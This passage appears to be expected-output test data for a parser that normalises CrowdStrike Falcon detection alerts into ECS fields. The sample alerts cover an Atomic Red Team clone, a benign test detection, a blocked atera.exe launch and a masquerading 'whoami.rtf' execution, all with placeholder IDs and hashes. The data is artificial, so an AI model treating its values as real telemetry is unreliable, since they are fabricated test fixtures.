"QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 272, + "PatternId": "30115", + "SensorId": "c8d1292a8a904216aa25ab728f4b45fd", + "Severity": 70, + "SeverityName": "High", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Type": "ldt" + }, + "metadata": { + "customerIDString": "123123abcd", + "eventType": "EppDetectionSummaryEvent", + "offset": 1, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Detection, process would have been killed if related prevention policy setting was enabled.", + "category": [ + "malware" + ], + "created": "2023-06-15T16:06:52.400Z", + "kind": "alert", + "original": "{\"metadata\":{\"customerIDString\":\"123123abcd\",\"offset\":1,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1686845212400,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1719309930,\"ProcessEndTime\":0,\"ProcessId\":1719309930613520072,\"ParentProcessId\":1719308637781199091,\"Hostname\":\"linux-vm\",\"UserName\":\"azureuser\",\"Name\":\"Known Malware\",\"Description\":\"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"git\",\"FilePath\":\"/usr/bin/git\",\"CommandLine\":\"git clone https://github.com/redcanaryco/atomic-red-team.git\",\"SHA256String\":\"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc\",\"MD5String\":\"675853ca01ec441df7a015b91a7e1272\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"\",\"FilesWritten\":[{\"Timestamp\":1719309966,\"FileName\":\"test_upx_header_changed\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"test_upx\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcessWithPipe.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"msys-2.0.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/\"},{\"Timestamp\":1719309966,\"FileName\":\"calc.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1047/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.011_x64.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"EtwpCreateEtwThread.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcess.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1036.003.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/\"}],\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"172.17.0.1\",\"MACAddress\":\"02-42-d8-66-fe-03\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"PatternDispositionValue\":272,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":true,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"bash\",\"ParentCommandLine\":\"-bash\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"HostGroups\":\"44be50f58ccfcfcfcfcfcfcfcffc\",\"PatternId\":30115,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"LocalIPv6\":\"2a02:cf40::\"}}", + "reference": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999", + "severity": 73, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "675853ca01ec441df7a015b91a7e1272", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc" + }, + "name": "git", + "path": "/usr/bin/git" + }, + "host": { + "name": "linux-vm" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "git", + "clone", + "https://github.com/redcanaryco/atomic-red-team.git" + ], + "command_line": "git clone https://github.com/redcanaryco/atomic-red-team.git", + "entity_id": "1719309930613520072", + "executable": "git", + "name": "git", + "parent": { + "args": [ + "-bash" + ], + "command_line": "-bash", + "entity_id": "1719308637781199091", + "executable": "-bash", + "pid": 1719308637781199091 + }, + "pid": 1719309930613520072, + "start": "2024-06-25T10:05:30.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc", + "675853ca01ec441df7a015b91a7e1272" + ], + "hosts": [ + "linux-vm" + ], + "ip": [ + "172.17.0.1" + ], + "user": [ + "azureuser" + ] + }, + "rule": { + "name": "Known Malware" + }, + "source": { + "ip": "172.17.0.1" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "name": [ + "Malware" + ] + }, + "technique": { + "name": [ + "Malicious File" + ] + } + }, + "user": { + "name": "azureuser" + } + }, + { + "@timestamp": "2025-03-21T19:07:20.000Z", + "crowdstrike": { + "event": { + "AggregateId": "aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42952716106", + "CompositeId": "cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424", + "DataDomains": "Endpoint", + "Description": "For evaluation only - benign, no action needed.", + "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE", + "GrandparentImageFileName": "explorer.exe", + "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe", + "HostGroups": [ + "88888888888888888888888888888888" + ], + "MACAddress": "00-0c-29-46-56-09", + "Objective": "Falcon Detection Method", + "ParentImageFileName": "cmd.exe", + "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternId": "10197", + "SensorId": "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee", + "Severity": 30, + "SeverityName": "Low", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Type": "ldt" + }, + "metadata": { + "customerIDString": "cccccccccccccccccccccccccccccccc", + "eventType": "EppDetectionSummaryEvent", + "offset": 1532939, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Detection, standard detection.", + "category": [ + "malware" + ], + "created": "2025-03-21T19:07:20.000Z", + "kind": "alert", + "original": "{\"metadata\":{\"customerIDString\":\"cccccccccccccccccccccccccccccccc\",\"offset\":1532939,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1742584040000,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1742583971,\"ProcessEndTime\":1742583972,\"ProcessId\":43185188660,\"ParentProcessId\":43146803382,\"Hostname\":\"CISO-DUMMY-CSDEV\",\"UserName\":\"Administrator\",\"Name\":\"Suspicious Activity\",\"Description\":\"For evaluation only - benign, no action needed.\",\"Severity\":30,\"SeverityName\":\"Low\",\"FileName\":\"choice.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\choice.exe\",\"CommandLine\":\"choice /m crowdstrike_sample_detection\",\"SHA256String\":\"0000000000000000000000000000000000000000000000000000000000000000\",\"MD5String\":\"00000000000000000000000000000000\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"CISO-DUMMY-CSDEV\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424?_cid=cccccccccccccccccccccccccccccccc\",\"AgentId\":\"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee\",\"CompositeId\":\"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424\",\"LocalIP\":\"192.168.33.133\",\"MACAddress\":\"00-0c-29-46-56-09\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionValue\":0,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false,\"ContainmentFileSystem\":false},\"ParentImageFileName\":\"cmd.exe\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"HostGroups\":\"88888888888888888888888888888888\",\"PatternId\":10197,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42952716106\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"LocalIPv6\":\"\"}}", + "reference": "https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424?_cid=cccccccccccccccccccccccccccccccc", + "severity": 21, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "00000000000000000000000000000000", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "0000000000000000000000000000000000000000000000000000000000000000" + }, + "name": "choice.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe" + }, + "host": { + "domain": "CISO-DUMMY-CSDEV", + "name": "CISO-DUMMY-CSDEV" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "choice", + "/m", + "crowdstrike_sample_detection" + ], + "command_line": "choice /m crowdstrike_sample_detection", + "end": "2025-03-21T19:06:12.000Z", + "entity_id": "43185188660", + "executable": "choice", + "name": "choice.exe", + "parent": { + "args": [ + "\"C:\\Windows\\system32\\cmd.exe\"" + ], + "command_line": "\"C:\\Windows\\system32\\cmd.exe\"", + "entity_id": "43146803382", + "executable": "\"C:\\Windows\\system32\\cmd.exe\"", + "pid": 43146803382 + }, + "pid": 43185188660, + "start": "2025-03-21T19:06:11.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "0000000000000000000000000000000000000000000000000000000000000000", + "00000000000000000000000000000000" + ], + "hosts": [ + "CISO-DUMMY-CSDEV" + ], + "ip": [ + "192.168.33.133" + ], + "user": [ + "Administrator" + ] + }, + "rule": { + "name": "Suspicious Activity" + }, + "source": { + "ip": "192.168.33.133" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "name": [ + "Malware" + ] + }, + "technique": { + "name": [ + "Malicious File" + ] + } + }, + "user": { + "name": "Administrator" + } + }, + { + "@timestamp": "2025-03-21T19:10:02.000Z", + "crowdstrike": { + "event": { + "AggregateId": "aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42953194054", + "AssociatedFile": "\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe", + "CompositeId": "cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080", + "DataDomains": "Endpoint", + "Description": "A process triggered a high severity custom rule.", + "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe", + "GrandparentImageFileName": "userinit.exe", + "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe", + "HostGroups": [ + "88888888888888888888888888888888" + ], + "IOARuleGroupName": "Custom IOA Group - Windows", + "IOARuleInstanceID": "167", + "IOARuleInstanceVersion": 2, + "IOARuleName": "Initial Access via Remote Service (Atera) Block", + "IOCType": "hash_sha256", + "IOCValue": "0000000000000000000000000000000000000000000000000000000000000000", + "MACAddress": "00-ff-12-46-56-09", + "Objective": "Falcon Detection Method", + "ParentImageFileName": "explorer.exe", + "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": true, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 2048, + "PatternId": "41001", + "SensorId": "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee", + "Severity": 70, + "SeverityName": "High", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Type": "ldt" + }, + "metadata": { + "customerIDString": "cccccccccccccccccccccccccccccccc", + "eventType": "EppDetectionSummaryEvent", + "offset": 1532956, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Prevention, process was blocked from execution.", + "category": [ + "malware" + ], + "created": "2025-03-21T19:10:02.000Z", + "kind": "alert", + "original": "{\"metadata\":{\"customerIDString\":\"cccccccccccccccccccccccccccccccc\",\"offset\":1532956,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1742584202000,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1742584138,\"ProcessEndTime\":1742584138,\"ProcessId\":43186863960,\"ParentProcessId\":43046029968,\"Hostname\":\"CISO-DUMMY-CSDEV\",\"UserName\":\"Administrator\",\"Name\":\"Suspicious Activity\",\"Description\":\"A process triggered a high severity custom rule.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"atera.exe.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\Administrator\\\\Desktop\\\\atera.exe.exe\",\"CommandLine\":\"\\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\atera.exe.exe\\\" \",\"SHA256String\":\"0000000000000000000000000000000000000000000000000000000000000000\",\"MD5String\":\"00000000000000000000000000000000\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"CISO-DUMMY-CSDEV\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080?_cid=cccccccccccccccccccccccccccccccc\",\"AgentId\":\"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"0000000000000000000000000000000000000000000000000000000000000000\",\"CompositeId\":\"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080\",\"LocalIP\":\"192.168.33.133\",\"MACAddress\":\"00-ff-12-46-56-09\",\"Tactic\":\"Custom Intelligence\",\"Technique\":\"Indicator of Attack\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Prevention, process was blocked from execution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false,\"ContainmentFileSystem\":false},\"ParentImageFileName\":\"explorer.exe\",\"ParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"userinit.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"IOARuleInstanceID\":\"167\",\"IOARuleInstanceVersion\":2,\"IOARuleName\":\"Initial Access via Remote Service (Atera) Block\",\"IOARuleGroupName\":\"Custom IOA Group - Windows\",\"HostGroups\":\"88888888888888888888888888888888\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\Administrator\\\\Desktop\\\\atera.exe.exe\",\"PatternId\":41001,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42953194054\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"LocalIPv6\":\"\"}}", + "reference": "https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080?_cid=cccccccccccccccccccccccccccccccc", + "severity": 73, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "00000000000000000000000000000000", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "0000000000000000000000000000000000000000000000000000000000000000" + }, + "name": "atera.exe.exe", + "path": "\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe" + }, + "host": { + "domain": "CISO-DUMMY-CSDEV", + "name": "CISO-DUMMY-CSDEV" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\"" + ], + "command_line": "\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\"", + "end": "2025-03-21T19:08:58.000Z", + "entity_id": "43186863960", + "executable": "\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\"", + "name": "atera.exe.exe", + "parent": { + "args": [ + "C:\\Windows\\Explorer.EXE" + ], + "command_line": "C:\\Windows\\Explorer.EXE", + "entity_id": "43046029968", + "executable": "C:\\Windows\\Explorer.EXE", + "pid": 43046029968 + }, + "pid": 43186863960, + "start": "2025-03-21T19:08:58.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "0000000000000000000000000000000000000000000000000000000000000000", + "00000000000000000000000000000000" + ], + "hosts": [ + "CISO-DUMMY-CSDEV" + ], + "ip": [ + "192.168.33.133" + ], + "user": [ + "Administrator" + ] + }, + "rule": { + "name": "Suspicious Activity" + }, + "source": { + "ip": "192.168.33.133" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "name": [ + "Custom Intelligence" + ] + }, + "technique": { + "name": [ + "Indicator of Attack" + ] + } + }, + "user": { + "name": "Administrator" + } + }, + { + "@timestamp": "2025-07-24T10:18:53.000Z", + "crowdstrike": { + "event": { + "AggregateId": "aggind:4ebcabee560d4345b025d6c732656ba9:1237323", + "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048", + "DataDomains": "Endpoint", + "Description": "Anexecutablewasrunwithacontradictingfileextension", + "GrandparentCommandLine": "sshd:devuser@pts/0", + "GrandparentImageFileName": "sshd", + "GrandparentImageFilePath": "/usr/sbin/sshd", + "MACAddress": "42-01-0a-80-00-18", + "Objective": "KeepAccess", + "ParentImageFileName": "bash", + "ParentImageFilePath": "/usr/bin/bash", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": true, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": true, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 272, + "PatternId": "145", + "PlatformId": "3", + "PlatformName": "Linux", + "SensorId": "4ebcabee560d4345b025d6c732656ba9", + "Severity": 50, + "SeverityName": "Medium", + "SourceProducts": "FalconInsight", + "SourceVendors": "CrowdStrike", + "Type": "ldt" + }, + "metadata": { + "customerIDString": "e880572ce33c42458b31e0dd368497fc", + "eventType": "EppDetectionSummaryEvent", + "offset": 2092190, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.", + "category": [ + "malware" + ], + "created": "2025-07-24T10:18:53.000Z", + "kind": "alert", + "original": "{\"event\":{\"AgentId\":\"4ebcabee560d4345b025d6c732656ba9\",\"AggregateId\":\"aggind:4ebcabee560d4345b025d6c732656ba9:1237323\",\"CommandLine\":\"./whoami.rtf\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048\",\"DataDomains\":\"Endpoint\",\"Description\":\"Anexecutablewasrunwithacontradictingfileextension\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"whoami.rtf\",\"FilePath\":\"/home/devuser/whoami.rtf\",\"GrandParentCommandLine\":\"sshd:devuser@pts/0\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"Hostname\":\"navnit-test-instance\",\"LocalIP\":\"10.128.0.24\",\"LocalIPv6\":\"\",\"LogonDomain\":\"\",\"MACAddress\":\"42-01-0a-80-00-18\",\"MD5String\":\"3e4129c7bb0c01793aa9ecad38ccb4d0\",\"Name\":\"SuspiciousActivity\",\"Objective\":\"KeepAccess\",\"ParentCommandLine\":\"-bash\",\"ParentImageFileName\":\"bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"ParentProcessId\":1753351172854337800,\"PatternDispositionDescription\":\"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":true,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":272,\"PatternId\":145,\"PlatformId\":\"3\",\"PlatformName\":\"Linux\",\"ProcessEndTime\":1753352263,\"ProcessId\":1753352263802791400,\"ProcessStartTime\":1753352263,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490\",\"Severity\":50,\"SeverityName\":\"Medium\",\"SourceProducts\":\"FalconInsight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Masquerading\",\"Type\":\"ldt\",\"UserName\":\"devuser\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1753352333000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2092190,\"version\":\"1.0\"}}", + "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", + "severity": 47, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "3e4129c7bb0c01793aa9ecad38ccb4d0", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490" + }, + "name": "whoami.rtf", + "path": "/home/devuser/whoami.rtf" + }, + "host": { + "name": "navnit-test-instance" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "./whoami.rtf" + ], + "command_line": "./whoami.rtf", + "end": "2025-07-24T10:17:43.000Z", + "entity_id": "1753352263802791400", + "executable": "./whoami.rtf", + "name": "whoami.rtf", + "parent": { + "args": [ + "-bash" + ], + "command_line": "-bash", + "entity_id": "1753351172854337800", + "executable": "-bash", + "pid": 1753351172854337800 + }, + "pid": 1753352263802791400, + "start": "2025-07-24T10:17:43.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490", + "3e4129c7bb0c01793aa9ecad38ccb4d0" + ], + "hosts": [ + "navnit-test-instance" + ], + "ip": [ + "10.128.0.24" + ], + "user": [ + "devuser" + ] + }, + "rule": { + "name": "SuspiciousActivity" + }, + "source": { + "ip": "10.128.0.24" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "tactic": { + "name": [ + "DefenseEvasion" + ] + }, + "technique": { + "name": [ + "Masquerading" + ] + } + }, + "user": { + "name": "devuser" + } + }, + { + "@timestamp": "2025-07-15T10:30:48.000Z", + "crowdstrike": { + "event": { + "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", + "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760", + "DataDomains": "Endpoint", + "Description": "An informational level detection was triggered on this process for testing purposes.", + "GrandparentCommandLine": "cmd crowdstrike_test_medium", + "GrandparentImageFileName": "cmd.exe", + 